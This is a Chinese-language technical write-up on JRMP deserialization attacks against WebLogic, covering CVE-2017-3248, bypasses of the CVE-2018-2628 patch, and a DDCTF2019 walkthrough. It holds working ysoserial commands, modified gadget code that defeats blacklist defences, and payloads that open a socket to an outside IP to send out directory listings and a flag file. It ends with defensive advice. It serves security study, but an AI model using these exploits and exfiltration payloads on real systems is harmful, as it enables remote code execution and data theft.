JRMP安全问题分析-从CVE到CTF
字数 1056 2025-08-27 12:33:23
JRMP安全问题分析:从CVE到CTF实战
1. 环境搭建
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "8453:8453"
- "7001:7001"
调试环境配置:
- 修改
/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh - 在
if [ "${debugFlag}" = "true" ]前添加:debugFlag="true" expport debugFlag - 重启服务并使用IDEA远程调试
2. 核心概念
2.1 JRMP协议
Java远程消息交换协议(Java Remote Messaging Protocol),是Java技术特有的、用于查找和引用远程对象的协议,运行在RMI之下、TCP/IP之上。
2.2 RMI
远程方法调用(Remote Method Invocation),J2SE的一部分,允许开发基于Java的分布式应用。RMI对象可以从另一个JVM(甚至跨网络)调用其方法。
3. CVE-2017-3248分析
攻击流程
- 启动JRMP监听器:
java -cp ysoserial-exp.jar ysoserial.exploit.JRMPListener 9997 CommonsCollections1 "touch /tmp/exp" - 发送攻击载荷:
python exp.py 127.0.0.1 7001 ~/Desktop/漏洞环境/weblogic/ysoserial-exp.jar 10.13.66.158 9997 JRMPClient
关键代码分析
public Registry getObject(final String command) throws Exception {
// 解析主机和端口
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(),
new Class[] { Registry.class }, obj);
return proxy;
}
反序列化链
RemoteObject.readObject被调用- 触发
UnicastRef.readExternal - 建立到JRMP服务端的连接
- 进入DGC的dirty方法打通Client和Server
4. CVE-2018-2628绕过
官方防御
在InboundMsgAbbrev.class中添加resolveProxyClass方法,禁止java.rmi.registry.Registry接口的反序列化。
绕过方法1:简化JRMPClient
public Object getObject(final String command) throws Exception {
// 省略解析部分...
ObjID id = new ObjID(new Random().nextInt());
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref; // 直接返回UnicastRef,不使用代理
}
绕过方法2:使用其他接口(Activator)
public Activator getObject(final String command) throws Exception {
// 省略解析部分...
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(),
new Class[] { Activator.class }, obj);
return proxy;
}
5. DDCTF2019 "再来一杯java"实战
漏洞点
存在反序列化操作,但使用了SerialKiller防御:
ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig());
SerialKiller防御机制
通过重写ObjectInputStream.resolveClass方法实现黑名单机制,黑名单包含:
<regexp>java\.rmi\.registry\.Registry$</regexp>
攻击步骤
- 使用URLDNS Gadget测试:
java -jar ysoserial.jar URLDNS "http://yourdnslog.com" - 修改Gadgets.java支持代码执行:
if(!command.startsWith("code:")){ cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; } else{ cmd = command.substring(5); } - 构造列目录payload:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9997 CommonsBeanutils1 'code:java.io.File file=new java.io.File("/");java.io.File[] fileLists = file.listFiles();java.net.Socket s = new java.net.Socket("74.120.175.101",9998);for (int i = 0; i < fileLists.length; i++) {java.io.OutputStream out = s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write("\n".getBytes());}s.close();' - 读取flag:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9997 CommonsBeanutils1 'code:java.io.File file = new java.io.File("/flag/flag_7ArPnpf3XW8Npsmj");java.io.InputStream in = null;in = new java.io.FileInputStream(file);int tempbyte;java.net.Socket s = new java.net.Socket("74.120.175.101",9998);while ((tempbyte = in.read()) != -1) {java.io.OutputStream out = s.getOutputStream();out.write(tempbyte);}in.close();s.close();'
6. 防御建议
- 更新WebLogic到最新版本
- 限制T3协议的外部访问
- 使用更严格的反序列化过滤器
- 监控可疑的JRMP连接